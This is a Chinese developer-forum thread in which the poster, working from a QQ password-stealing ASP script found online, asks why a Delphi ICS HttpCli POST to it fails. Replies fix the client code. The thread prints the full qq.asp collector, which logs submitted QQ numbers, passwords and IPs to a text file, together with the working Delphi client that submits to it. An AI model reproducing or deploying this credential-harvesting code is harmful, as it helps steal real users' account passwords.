使用网上盗QQ的那个ASP源码,学着使用HTTPCLI模拟实现POST下边是源码
var
  Buf:string;
  InStream,OutStream:TMemoryStream;
begin
  InStream :=TMemoryStream.Create;
  OutStream :=TMemoryStream.Create;
  Buf :='QQNumber=123456&QQPassWord=321654&QQclub=true&QQip=127.0.0.1';
  InStream.Write(buf[1],Length(Buf));
  InStream.Position :=0;
  HttpCli1.SendStream :=InStream;
  HttpCli1.RcvdStream :=OutStream;
  HttpCli1.URL :='http://localhost/qq.asp';
  HttpCli1.Post;
  Memo1.Lines.LoadFromStream(OutStream);
可是在Buf中定义的字串根本没有加入到模拟提交的地址中模拟提交的只有http://localhost/qq.asp郁闷.不知道为何.在提交时使用的HTTP头信息定义在了HTTPCLI属性里没有直接写代码.下边附上qq.asp源码
<%
strLogFile="qq.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")if QQNumber="" or QQPassWord="" then
  response.write "配置正确"
  response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&timeset f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothingresponse.write "成功!"
%>

解决方案 »

  1.   

    把Post语句改成Post(HttpCli1.URL, InStream)试试
      

  2.   


    我使用的是ICS组件里的httpcli.
    POST方法是个过程.不是函数.
    无法使用httpcli.Post(HttpCli1.URL, InStream)
      

  3.   

    以下代码在 Delphi2010 ICS7 SVN 最新版本 测试通过,结果为:在 qq.asp 相同目录下面写入一个 qq.txt 文件,内容为:
    123456----321654----会员:true----IP:127.0.0.1(127.0.0.1)----2010-9-16 23:57:32
    在 memo1 里面将会显示 成功! 字样。
    var
      Buf:Ansistring;
      InStream,OutStream:TMemoryStream;
    begin
      InStream :=TMemoryStream.Create;
      OutStream :=TMemoryStream.Create;
      Buf :='QQNumber=123456&QQPassWord=321654&QQclub=true&QQip=127.0.0.1';
      InStream.Write(buf[1],Length(Buf));
      InStream.Position :=0;
      HttpCli1.SendStream :=InStream;
      HttpCli1.RcvdStream :=OutStream;
      HttpCli1.URL :='http://localhost/qq.asp';
      HttpCli1.Post;
      OutStream.Position := 0;
      Memo1.Lines.LoadFromStream(OutStream);
    end;
      

  4.   

    汗了!原来是定义字符串为ansistring;的缘故!
    嘿嘿.谢谢了!